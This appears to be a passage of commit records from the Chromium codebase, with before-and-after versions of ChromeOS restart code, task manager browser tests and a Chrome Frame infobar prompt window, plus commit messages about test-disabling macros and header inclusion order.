base::SupportsWeakPtr<ChromeRestartRequest> {\n public:\n explicit ChromeRestartRequest(const std::string& command_line);\n ~ChromeRestartRequest();\n\n \/\/ Starts the request.\n void Start();\n\n private:\n \/\/ Fires job restart request to session manager.\n void RestartJob();\n\n const int pid_;\n const std::string command_line_;\n base::OneShotTimer<ChromeRestartRequest> timer_;\n\n DISALLOW_COPY_AND_ASSIGN(ChromeRestartRequest);\n};\n\nChromeRestartRequest::ChromeRestartRequest(const std::string& command_line)\n : pid_(getpid()),\n command_line_(command_line) {}\n\nChromeRestartRequest::~ChromeRestartRequest() {}\n\nvoid ChromeRestartRequest::Start() {\n VLOG(1) << \"Requesting a restart with PID \" << pid_\n << \" and command line: \" << command_line_;\n\n \/\/ Session Manager may kill the chrome anytime after this point.\n \/\/ Write exit_cleanly and other stuff to the disk here.\n g_browser_process->EndSession();\n\n PrefService* local_state = g_browser_process->local_state();\n if (!local_state) {\n RestartJob();\n return;\n }\n\n \/\/ XXX: normally this call must not be needed, however RestartJob\n \/\/ just kills us so settings may be lost. See http:\/\/crosbug.com\/13102\n local_state->CommitPendingWrite();\n timer_.Start(\n FROM_HERE, base::TimeDelta::FromSeconds(3), this,\n &ChromeRestartRequest::RestartJob);\n\n \/\/ Post a task to local state task runner thus it occurs last on the task\n \/\/ queue, so it would be executed after committing pending write on that\n \/\/ thread.\n scoped_refptr<base::SequencedTaskRunner> local_state_task_runner =\n JsonPrefStore::GetTaskRunnerForFile(\n base::FilePath(chrome::kLocalStorePoolName),\n BrowserThread::GetBlockingPool());\n local_state_task_runner->PostTaskAndReply(\n FROM_HERE,\n base::Bind(&EnsureLocalStateIsWritten),\n base::Bind(&ChromeRestartRequest::RestartJob, AsWeakPtr()));\n}\n\nvoid ChromeRestartRequest::RestartJob() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n DBusThreadManager::Get()->GetSessionManagerClient()->RestartJob(\n pid_, command_line_);\n\n delete this;\n}\n\n} \/\/ namespace\n\nstd::string GetOffTheRecordCommandLine(\n const GURL& start_url,\n const CommandLine& base_command_line,\n CommandLine* command_line) {\n base::DictionaryValue otr_switches;\n otr_switches.SetString(switches::kGuestSession, std::string());\n otr_switches.SetString(::switches::kIncognito, std::string());\n otr_switches.SetString(::switches::kLoggingLevel, kGuestModeLoggingLevel);\n otr_switches.SetString(switches::kLoginUser, kGuestUserName);\n\n \/\/ Override the home page.\n otr_switches.SetString(::switches::kHomePage,\n GURL(chrome::kChromeUINewTabURL).spec());\n\n return DeriveCommandLine(start_url,\n base_command_line,\n otr_switches,\n command_line);\n}\n\nvoid RestartChrome(const std::string& command_line) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n static bool restart_requested = false;\n if (restart_requested) {\n NOTREACHED() << \"Request chrome restart for more than once.\";\n }\n restart_requested = true;\n\n if (!base::chromeos::IsRunningOnChromeOS()) {\n \/\/ Relaunch chrome without session manager on dev box.\n ReLaunch(command_line);\n return;\n }\n\n \/\/ ChromeRestartRequest deletes itself after request sent to session manager.\n (new ChromeRestartRequest(command_line))->Start();\n}\n\n} \/\/ namespace chromeos\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/task_manager\/task_manager.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/crashed_extension_infobar.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/tab_contents\/infobar_delegate.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/page_transition_types.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\nconst FilePath::CharType* kTitle1File = FILE_PATH_LITERAL(\"title1.html\");\n\nclass ResourceChangeObserver : public TaskManagerModelObserver {\n public:\n ResourceChangeObserver(const TaskManagerModel* model,\n int target_resource_count)\n : model_(model),\n target_resource_count_(target_resource_count) {\n }\n\n virtual void OnModelChanged() {\n OnResourceChange();\n }\n\n virtual void OnItemsChanged(int start, int length) {\n OnResourceChange();\n }\n\n virtual void OnItemsAdded(int start, int length) {\n OnResourceChange();\n }\n\n virtual void OnItemsRemoved(int start, int length) {\n OnResourceChange();\n }\n\n private:\n void OnResourceChange() {\n if (model_->ResourceCount() == target_resource_count_)\n MessageLoopForUI::current()->Quit();\n }\n\n const TaskManagerModel* model_;\n const int target_resource_count_;\n};\n\n} \/\/ namespace\n\nclass TaskManagerBrowserTest : public ExtensionBrowserTest {\n public:\n TaskManagerModel* model() const {\n return TaskManager::GetInstance()->model();\n }\n\n void WaitForResourceChange(int target_count) {\n if (model()->ResourceCount() == target_count)\n return;\n ResourceChangeObserver observer(model(), target_count);\n model()->AddObserver(&observer);\n ui_test_utils::RunMessageLoop();\n model()->RemoveObserver(&observer);\n }\n};\n\n\/\/ Crashes on Vista (dbg): http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define ShutdownWhileOpen DISABLED_ShutdownWhileOpen\n#endif\n\/\/ Regression test for http:\/\/crbug.com\/13361\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, ShutdownWhileOpen) {\n browser()->window()->ShowTaskManager();\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define NoticeTabContentsChanges DISABLED_NoticeTabContentsChanges\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, NoticeTabContentsChanges) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Open a new tab and make sure we notice that.\n GURL url(ui_test_utils::GetTestUrl(FilePath(FilePath::kCurrentDirectory),\n FilePath(kTitle1File)));\n Browser::AddTabWithURLParams params(url, PageTransition::TYPED);\n params.index = 0;\n browser()->AddTabWithURL(¶ms);\n EXPECT_EQ(browser(), params.target);\n WaitForResourceChange(3);\n\n \/\/ Close the tab and verify that we notice.\n TabContents* first_tab = browser()->GetTabContentsAt(0);\n ASSERT_TRUE(first_tab);\n browser()->CloseTabContents(first_tab);\n WaitForResourceChange(2);\n}\n\n#if defined(OS_WIN)\n\/\/ http:\/\/crbug.com\/31663\n#define NoticeExtensionChanges DISABLED_NoticeExtensionChanges\n#endif\n\n\/\/ Flaky test bug filed in http:\/\/crbug.com\/51701\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, FLAKY_NoticeExtensionChanges) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Loading an extension with a background page should result in a new\n \/\/ resource being created for it.\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n WaitForResourceChange(3);\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define KillExtension DISABLED_KillExtension\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, KillExtension) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n \/\/ Kill the extension process and make sure we notice it.\n TaskManager::GetInstance()->KillProcess(2);\n WaitForResourceChange(2);\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define KillExtensionAndReload DISABLED_KillExtensionAndReload\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, KillExtensionAndReload) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n \/\/ Kill the extension process and make sure we notice it.\n TaskManager::GetInstance()->KillProcess(2);\n WaitForResourceChange(2);\n\n \/\/ Reload the extension using the \"crashed extension\" infobar while the task\n \/\/ manager is still visible. Make sure we don't crash and the extension\n \/\/ gets reloaded and noticed in the task manager.\n TabContents* current_tab = browser()->GetSelectedTabContents();\n ASSERT_EQ(1, current_tab->infobar_delegate_count());\n InfoBarDelegate* delegate = current_tab->GetInfoBarDelegateAt(0);\n CrashedExtensionInfoBarDelegate* crashed_delegate =\n delegate->AsCrashedExtensionInfoBarDelegate();\n ASSERT_TRUE(crashed_delegate);\n crashed_delegate->Accept();\n WaitForResourceChange(3);\n}\n\n\/\/ Regression test for http:\/\/crbug.com\/18693.\n\/\/ Crashy, http:\/\/crbug.com\/42315.\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, DISABLED_ReloadExtension) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n const Extension* extension = model()->GetResourceExtension(2);\n\n \/\/ Reload the extension a few times and make sure our resource count\n \/\/ doesn't increase.\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n extension = model()->GetResourceExtension(2);\n\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n extension = model()->GetResourceExtension(2);\n\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n}\n\n\/\/ Crashy, http:\/\/crbug.com\/42301.\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest,\n DISABLED_PopulateWebCacheFields) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Open a new tab and make sure we notice that.\n GURL url(ui_test_utils::GetTestUrl(FilePath(FilePath::kCurrentDirectory),\n FilePath(kTitle1File)));\n Browser::AddTabWithURLParams params(url, PageTransition::TYPED);\n params.index = 0;\n browser()->AddTabWithURL(¶ms);\n WaitForResourceChange(3);\n\n \/\/ Check that we get some value for the cache columns.\n DCHECK_NE(model()->GetResourceWebCoreImageCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n DCHECK_NE(model()->GetResourceWebCoreScriptsCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n DCHECK_NE(model()->GetResourceWebCoreCSSCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n}\n<commit_msg>When FLAKY_ was added, it removed the DISABLED_ flag that was there for windows.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/task_manager\/task_manager.h\"\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/crashed_extension_infobar.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/tab_contents\/infobar_delegate.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/browser\/tabs\/tab_strip_model.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/page_transition_types.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\nconst FilePath::CharType* kTitle1File = FILE_PATH_LITERAL(\"title1.html\");\n\nclass ResourceChangeObserver : public TaskManagerModelObserver {\n public:\n ResourceChangeObserver(const TaskManagerModel* model,\n int target_resource_count)\n : model_(model),\n target_resource_count_(target_resource_count) {\n }\n\n virtual void OnModelChanged() {\n OnResourceChange();\n }\n\n virtual void OnItemsChanged(int start, int length) {\n OnResourceChange();\n }\n\n virtual void OnItemsAdded(int start, int length) {\n OnResourceChange();\n }\n\n virtual void OnItemsRemoved(int start, int length) {\n OnResourceChange();\n }\n\n private:\n void OnResourceChange() {\n if (model_->ResourceCount() == target_resource_count_)\n MessageLoopForUI::current()->Quit();\n }\n\n const TaskManagerModel* model_;\n const int target_resource_count_;\n};\n\n} \/\/ namespace\n\nclass TaskManagerBrowserTest : public ExtensionBrowserTest {\n public:\n TaskManagerModel* model() const {\n return TaskManager::GetInstance()->model();\n }\n\n void WaitForResourceChange(int target_count) {\n if (model()->ResourceCount() == target_count)\n return;\n ResourceChangeObserver observer(model(), target_count);\n model()->AddObserver(&observer);\n ui_test_utils::RunMessageLoop();\n model()->RemoveObserver(&observer);\n }\n};\n\n\/\/ Crashes on Vista (dbg): http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define ShutdownWhileOpen DISABLED_ShutdownWhileOpen\n#endif\n\/\/ Regression test for http:\/\/crbug.com\/13361\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, ShutdownWhileOpen) {\n browser()->window()->ShowTaskManager();\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define NoticeTabContentsChanges DISABLED_NoticeTabContentsChanges\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, NoticeTabContentsChanges) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Open a new tab and make sure we notice that.\n GURL url(ui_test_utils::GetTestUrl(FilePath(FilePath::kCurrentDirectory),\n FilePath(kTitle1File)));\n Browser::AddTabWithURLParams params(url, PageTransition::TYPED);\n params.index = 0;\n browser()->AddTabWithURL(¶ms);\n EXPECT_EQ(browser(), params.target);\n WaitForResourceChange(3);\n\n \/\/ Close the tab and verify that we notice.\n TabContents* first_tab = browser()->GetTabContentsAt(0);\n ASSERT_TRUE(first_tab);\n browser()->CloseTabContents(first_tab);\n WaitForResourceChange(2);\n}\n\n#if defined(OS_WIN)\n\/\/ http:\/\/crbug.com\/31663\n#define MAYBE_NoticeExtensionChanges DISABLED_NoticeExtensionChanges\n#else\n\/\/ Flaky test bug filed in http:\/\/crbug.com\/51701\n#define MAYBE_NoticeExtensionChanges FLAKY_NoticeExtensionChanges\n#endif\n\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, MAYBE_NoticeExtensionChanges) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Loading an extension with a background page should result in a new\n \/\/ resource being created for it.\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n WaitForResourceChange(3);\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define KillExtension DISABLED_KillExtension\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, KillExtension) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n \/\/ Kill the extension process and make sure we notice it.\n TaskManager::GetInstance()->KillProcess(2);\n WaitForResourceChange(2);\n}\n\n\/\/ Times out on Vista; disabled to keep tests fast. http:\/\/crbug.com\/44991\n#if defined(OS_WIN)\n#define KillExtensionAndReload DISABLED_KillExtensionAndReload\n#endif\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, KillExtensionAndReload) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n \/\/ Kill the extension process and make sure we notice it.\n TaskManager::GetInstance()->KillProcess(2);\n WaitForResourceChange(2);\n\n \/\/ Reload the extension using the \"crashed extension\" infobar while the task\n \/\/ manager is still visible. Make sure we don't crash and the extension\n \/\/ gets reloaded and noticed in the task manager.\n TabContents* current_tab = browser()->GetSelectedTabContents();\n ASSERT_EQ(1, current_tab->infobar_delegate_count());\n InfoBarDelegate* delegate = current_tab->GetInfoBarDelegateAt(0);\n CrashedExtensionInfoBarDelegate* crashed_delegate =\n delegate->AsCrashedExtensionInfoBarDelegate();\n ASSERT_TRUE(crashed_delegate);\n crashed_delegate->Accept();\n WaitForResourceChange(3);\n}\n\n\/\/ Regression test for http:\/\/crbug.com\/18693.\n\/\/ Crashy, http:\/\/crbug.com\/42315.\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest, DISABLED_ReloadExtension) {\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n ASSERT_TRUE(LoadExtension(\n test_data_dir_.AppendASCII(\"common\").AppendASCII(\"background_page\")));\n\n \/\/ Wait until we see the loaded extension in the task manager (the three\n \/\/ resources are: the browser process, New Tab Page, and the extension).\n WaitForResourceChange(3);\n\n EXPECT_TRUE(model()->GetResourceExtension(0) == NULL);\n EXPECT_TRUE(model()->GetResourceExtension(1) == NULL);\n ASSERT_TRUE(model()->GetResourceExtension(2) != NULL);\n\n const Extension* extension = model()->GetResourceExtension(2);\n\n \/\/ Reload the extension a few times and make sure our resource count\n \/\/ doesn't increase.\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n extension = model()->GetResourceExtension(2);\n\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n extension = model()->GetResourceExtension(2);\n\n ReloadExtension(extension->id());\n WaitForResourceChange(3);\n}\n\n\/\/ Crashy, http:\/\/crbug.com\/42301.\nIN_PROC_BROWSER_TEST_F(TaskManagerBrowserTest,\n DISABLED_PopulateWebCacheFields) {\n EXPECT_EQ(0, model()->ResourceCount());\n\n \/\/ Show the task manager. This populates the model, and helps with debugging\n \/\/ (you see the task manager).\n browser()->window()->ShowTaskManager();\n\n \/\/ Browser and the New Tab Page.\n EXPECT_EQ(2, model()->ResourceCount());\n\n \/\/ Open a new tab and make sure we notice that.\n GURL url(ui_test_utils::GetTestUrl(FilePath(FilePath::kCurrentDirectory),\n FilePath(kTitle1File)));\n Browser::AddTabWithURLParams params(url, PageTransition::TYPED);\n params.index = 0;\n browser()->AddTabWithURL(¶ms);\n WaitForResourceChange(3);\n\n \/\/ Check that we get some value for the cache columns.\n DCHECK_NE(model()->GetResourceWebCoreImageCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n DCHECK_NE(model()->GetResourceWebCoreScriptsCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n DCHECK_NE(model()->GetResourceWebCoreCSSCacheSize(2),\n l10n_util::GetStringUTF16(IDS_TASK_MANAGER_NA_CELL_TEXT));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/ready_mode\/internal\/ready_prompt_window.h\"\n\n#include <atlctrls.h>\n#include <Shellapi.h> \/\/ Must appear before atlctrlx.h\n\n\/\/ These seem to be required by atlctrlx?\ntemplate<class A>\nA min(A const& a, A const& b) { return a < b ? a : b; }\n\ntemplate<class A>\nA max(A const& a, A const& b) { return a > b ? a : b; }\n\n#include <atlctrlx.h>\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/win\/scoped_bstr.h\"\n#include \"base\/win\/scoped_comptr.h\"\n#include \"chrome_frame\/ready_mode\/internal\/ready_mode_state.h\"\n#include \"chrome_frame\/ready_mode\/internal\/url_launcher.h\"\n#include \"chrome_frame\/simple_resource_loader.h\"\n#include \"grit\/chromium_strings.h\"\n\nReadyPromptWindow::ReadyPromptWindow(\n InfobarContent::Frame* frame, ReadyModeState* ready_mode_state,\n UrlLauncher* url_launcher)\n : frame_(frame),\n ready_mode_state_(ready_mode_state),\n url_launcher_(url_launcher),\n weak_ptr_factory_(ALLOW_THIS_IN_INITIALIZER_LIST(this)) {\n}\nReadyPromptWindow::~ReadyPromptWindow() {\n}\n\nbase::WeakPtr<ReadyPromptWindow> ReadyPromptWindow::CreateInstance(\n InfobarContent::Frame* frame, ReadyModeState* ready_mode_state,\n UrlLauncher* url_launcher) {\n DCHECK(frame != NULL);\n DCHECK(ready_mode_state != NULL);\n DCHECK(url_launcher != NULL);\n\n base::WeakPtr<ReadyPromptWindow> instance((new ReadyPromptWindow(\n frame, ready_mode_state, url_launcher))->weak_ptr_factory_.GetWeakPtr());\n\n DCHECK(!instance->IsWindow());\n\n if (instance->Create(frame->GetFrameWindow()) == NULL) {\n DPLOG(ERROR) << \"Failed to create HWND for ReadyPromptWindow.\";\n return base::WeakPtr<ReadyPromptWindow>();\n }\n\n \/\/ Subclass the \"Learn more.\" text to make it behave like a link. Clicks are\n \/\/ routed to OnLearnMore().\n CWindow rte = instance->GetDlgItem(IDC_PROMPT_LINK);\n instance->link_.reset(new CHyperLink());\n instance->link_->SubclassWindow(rte);\n instance->link_->SetHyperLinkExtendedStyle(HLINK_NOTIFYBUTTON,\n HLINK_NOTIFYBUTTON);\n\n return instance;\n}\n\nvoid ReadyPromptWindow::OnDestroy() {\n frame_ = NULL;\n}\n\nBOOL ReadyPromptWindow::OnInitDialog(CWindow wndFocus, LPARAM lInitParam) {\n DlgResize_Init(false); \/\/ false => 'no gripper'\n return TRUE;\n}\n\nLRESULT ReadyPromptWindow::OnYes(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->AcceptChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnRemindMeLater(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->TemporarilyDeclineChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnNo(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->PermanentlyDeclineChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnLearnMore(WORD \/*wParam*\/,\n LPNMHDR \/*lParam*\/,\n BOOL& \/*bHandled*\/) {\n url_launcher_->LaunchUrl(SimpleResourceLoader::Get(\n IDS_CHROME_FRAME_READY_MODE_LEARN_MORE_URL));\n return 0;\n}\n\nvoid ReadyPromptWindow::OnFinalMessage(HWND) {\n delete this;\n}\n<commit_msg>Replace one unfortunate hack with a somewhat better one. The included atlctrlx.h relies on min and max macros, which are generally bad and especially so in combination with STL.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome_frame\/ready_mode\/internal\/ready_prompt_window.h\"\n\n#include <atlctrls.h>\n#include <Shellapi.h>\n\n#include \"base\/compiler_specific.h\"\n#include \"base\/win\/scoped_bstr.h\"\n#include \"base\/win\/scoped_comptr.h\"\n#include \"chrome_frame\/ready_mode\/internal\/ready_mode_state.h\"\n#include \"chrome_frame\/ready_mode\/internal\/url_launcher.h\"\n#include \"chrome_frame\/simple_resource_loader.h\"\n#include \"grit\/chromium_strings.h\"\n\n\/\/ atlctrlx.h requires 'min' and 'max' macros, the definition of which conflicts\n\/\/ with STL headers. Hence we include them out of the order defined by style\n\/\/ guidelines. As a result you may not refer to std::min or std::max in this\n\/\/ file.\n#include <minmax.h> \/\/ NOLINT\n#include <atlctrlx.h> \/\/ NOLINT\n\nReadyPromptWindow::ReadyPromptWindow(\n InfobarContent::Frame* frame, ReadyModeState* ready_mode_state,\n UrlLauncher* url_launcher)\n : frame_(frame),\n ready_mode_state_(ready_mode_state),\n url_launcher_(url_launcher),\n weak_ptr_factory_(ALLOW_THIS_IN_INITIALIZER_LIST(this)) {\n}\nReadyPromptWindow::~ReadyPromptWindow() {\n}\n\nbase::WeakPtr<ReadyPromptWindow> ReadyPromptWindow::CreateInstance(\n InfobarContent::Frame* frame, ReadyModeState* ready_mode_state,\n UrlLauncher* url_launcher) {\n DCHECK(frame != NULL);\n DCHECK(ready_mode_state != NULL);\n DCHECK(url_launcher != NULL);\n\n base::WeakPtr<ReadyPromptWindow> instance((new ReadyPromptWindow(\n frame, ready_mode_state, url_launcher))->weak_ptr_factory_.GetWeakPtr());\n\n DCHECK(!instance->IsWindow());\n\n if (instance->Create(frame->GetFrameWindow()) == NULL) {\n DPLOG(ERROR) << \"Failed to create HWND for ReadyPromptWindow.\";\n return base::WeakPtr<ReadyPromptWindow>();\n }\n\n \/\/ Subclass the \"Learn more.\" text to make it behave like a link. Clicks are\n \/\/ routed to OnLearnMore().\n CWindow rte = instance->GetDlgItem(IDC_PROMPT_LINK);\n instance->link_.reset(new CHyperLink());\n instance->link_->SubclassWindow(rte);\n instance->link_->SetHyperLinkExtendedStyle(HLINK_NOTIFYBUTTON,\n HLINK_NOTIFYBUTTON);\n\n return instance;\n}\n\nvoid ReadyPromptWindow::OnDestroy() {\n frame_ = NULL;\n}\n\nBOOL ReadyPromptWindow::OnInitDialog(CWindow wndFocus, LPARAM lInitParam) {\n DlgResize_Init(false); \/\/ false => 'no gripper'\n return TRUE;\n}\n\nLRESULT ReadyPromptWindow::OnYes(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->AcceptChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnRemindMeLater(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->TemporarilyDeclineChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnNo(WORD \/*wNotifyCode*\/,\n WORD \/*wID*\/,\n HWND \/*hWndCtl*\/,\n BOOL& \/*bHandled*\/) {\n frame_->CloseInfobar();\n ready_mode_state_->PermanentlyDeclineChromeFrame();\n return 0;\n}\n\nLRESULT ReadyPromptWindow::OnLearnMore(WORD \/*wParam*\/,\n LPNMHDR \/*lParam*\/,\n BOOL& \/*bHandled*\/) {\n 